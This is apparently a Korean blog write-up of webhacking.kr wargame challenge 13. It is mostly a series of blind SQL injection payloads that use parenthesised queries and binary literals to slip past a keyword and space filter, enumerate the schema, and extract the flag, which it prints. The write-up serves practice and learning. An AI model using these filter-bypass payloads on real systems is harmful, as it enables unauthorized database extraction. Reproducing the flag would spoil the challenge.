메인 화면입니다.

제출 버튼을 클릭시 "https://webhacking.kr/challenge/web-10/?no=" 이와 같은 URL이 생성되고 Auth 버튼을 클릭시" https://webhacking.kr/challenge/web-10/index.php?password=" 이 URL이 생성됩니다.

[no에 1을 넣은 경우]

result에 1을 표시하고 있습니다.

[no에 다른 숫자를 넣은 경우]

result 값에 0이 표시 됩니다.

[인젝션을 시도한 경우]

no hack이라는 단어가 표시 됩니다.

여러방향으로 인젝션을 시도하였으나 문자열이 필터링 된다는 것을 확인 할 수 있었습니다.

[문자열 차단]

공백, 0x , char, where 등

이를 우회 하기위해 mysql 을 사용하여 다양한 테스트를 진행해보았습니다.

먼저 현재 데이터베이스 수

를 구하는 쿼리입니다.

저는 chall13라는 테이블을 만들어 no 컬럼을 만들고 1,2,3 값을 대입하여 환경을 구성하였습니다.

이제 DB확인을 위한 쿼리를 만들어 보겠습니다.

[참일 경우]

[거짓일 경우]

위와 같은 방식으로 추출된 테이블, 컬럼을 실제로 만들어 가면서 테스트를 진행했습니다.

파이썬으로 쿼리를 만들어서 보냈는데 "싱글쿼터의 경우" 차단되지는 않으나 올바로 실행이 되지 않았습니다.

그래서 "싱글쿼터"가 들어가는 문자열은 2진수 형태로 바꾸어 URL에 대입하였습니다.

저는 이미 푼상태라 DB명이 'c'로 시작한다는 것을 알고 있기 때문에 DB명의 첫글자가 'c'인지 확인해 보겠습니다.

[URL 참일경우]

[URL 거짓일 경우]

이와 같은 원리를 이용하여 프로그램 언어를 통해 자동화 시키면 됩니다.

[파이썬 결과]

데이터베이스 명은 "CHALL13"이네요 ~

이 처럼 우회쿼리를 만들어서 이용하면 됩니다.

쿼리는 아래 내용을 확인하면 됩니다.

[우회 쿼리]

[Mysql 현재 데이터베이스 조회]

select database();

[URL 현재 데이터베이스명 한글자 조회]

if((select(substr(database(),1,1))in(0b01100011)),1,2);

= chall13

[Mysql Table 수 조회]

select(count(if(('chall13')in(table_schema),table_name,null)))from(information_schema.tables);

[URL Table 수 조회]

if((select(count(if(('chall13')in(table_schema),table_name,null)))from(information_schema.tables))in(1),1,2)

if((select(count(if((0b01100011011010000110000101101100011011000011000100110011)in(table_schema),table_name,null)))from(information_schema.tables))in(1),1,2)

= 2개

[Mysql min검색]

select(min(if((select(table_schema)in('chall13')),table_name,null)))from(information_schema.tables);

[URL Table min검색]

if((select(substr(min(if((table_schema)in('chall13'),table_name,null)),1,1)in('c'))from(information_schema.tables)),1,2);

if((select(substr(min(if((table_schema)in(0b01100011011010000110000101101100011011000011000100110011),table_name,null)),1,1)in(0b1100011))from(information_schema.tables)),1,2);

= FLAG_AB733768

[Mysql Table max검색]

select(max(if((select(table_schema)in('chall13')),table_name,null)))from(information_schema.tables);

[URL Table max검색]

if((select(substr(max(if((table_schema)in('chall13'),table_name,null)),1,1)in('c'))from(information_schema.tables)),1,2);

if((select(substr(max(if((table_schema)in(0b01100011011010000110000101101100011011000011000100110011),table_name,null)),1,1)in(0b1100011))from(information_schema.tables)),1,2);

= LIST

------------------------------------------------------------------------

[Mysql 컬럼 개수 구하기]

select(count(if((table_name)in('FLAG_AB733768'),column_name,null)))from(information_schema.columns));

[URL 컬럼 개수 구하기]

if((select(count(if((table_name)in('FLAG_AB733768'),column_name,null)))from(information_schema.columns))in(2),1,2);

if((select(count(if((table_name)in(0b01000110010011000100000101000111010111110100000101000010001101110011001100110011001101110011011000111000),column_name,null)))from(information_schema.columns))in(2),1,2);

= 1개

[Mysql 컬럼명 조회]

select column_name from information_schema.columns where table_name = 'FLAG_AB733768';

select(if((table_name)in('FLAG_AB733768'),column_name,null))from(information_schema.columns);

[Mysql 컬럼명 한글자 추출]

select(substr(min(if((table_name)in('FLAG_AB733768'),column_name,null)),1,1))from(information_schema.columns);

[컬럼명 한글자 추출]

if((select(substr(min(if((table_name)in('FLAG_AB733768'),column_name,null)),1,1))from(information_schema.columns))in('n'),1,2);

if((select(substr(min(if((table_name)in(0b01000110010011000100000101000111010111110100000101000010001101110011001100110011001101110011011000111000),column_name,null)),1,1))from(information_schema.columns))in(0b1100011),1,2);

= FLAG_3A55B31D

---------------------------------------------------------------------------------

[Mysql 컬럼 값 개수 추출]

select(count(FLAG_3A55B31D))from(FLAG_AB733768);

[URL 컬럼 값 개수 추출]

if((select(count(FLAG_3A55B31D))from(FLAG_AB733768))in(1),1,2);

= 2개

[Mysql 컬럼 값 min/max]

select(min(FLAG_3A55B31D))from(FLAG_AB733768);

select(max(FLAG_3A55B31D))from(FLAG_AB733768);

[Mysql 컬럼 값 min/max 한글자 추출]

select(substr(min(FLAG_3A55B31D),1,1))from(FLAG_AB733768);

select(substr(max(FLAG_3A55B31D),1,1))from(FLAG_AB733768);

[URL 컬럼 값 min/max 한글자 추출]

if((select(substr(min(FLAG_3A55B31D),1,1))from(FLAG_AB733768))in(1),1,2);

if((select(substr(max(FLAG_3A55B31D),1,1))from(FLAG_AB733768))in(1),1,2);

min 결과 = FLAG

max 결과 = FLAG{CHALLENGE13GUMMYCLEAR}

위와 같은 쿼리를 테스트를 하며 flag 값을 얻어왔습니다.

대입을 해보면!

챌린지 13클리어!

난이도가 ..ㅠㅠ

너무 안 풀릴때 이분의 풀이를 보고 테스트하며 이해하는 방식으로 진행했습니다.

https://hackcatml.tistory.com/17

 

혹시 자동화 돌리는데 조금 어려우신 분은 제가 만든 소스코드 첨부할테니 참고하시기 바랍니다

화이팅!

challenge13.py
0.00MB

'WAR GAME > Webhacking.kr' 카테고리의 다른 글

[webhacking.kr] Level15 (old)  (336) 2020.04.27
[webhacking.kr] Level14 (old)  (321) 2020.04.27
[webhacking.kr] Level12 (old)  (365) 2020.04.27
[webhacking.kr] Level11 (old)  (360) 2020.04.27
[webhacking.kr] Level10 (old)  (587) 2020.04.27

+ Recent posts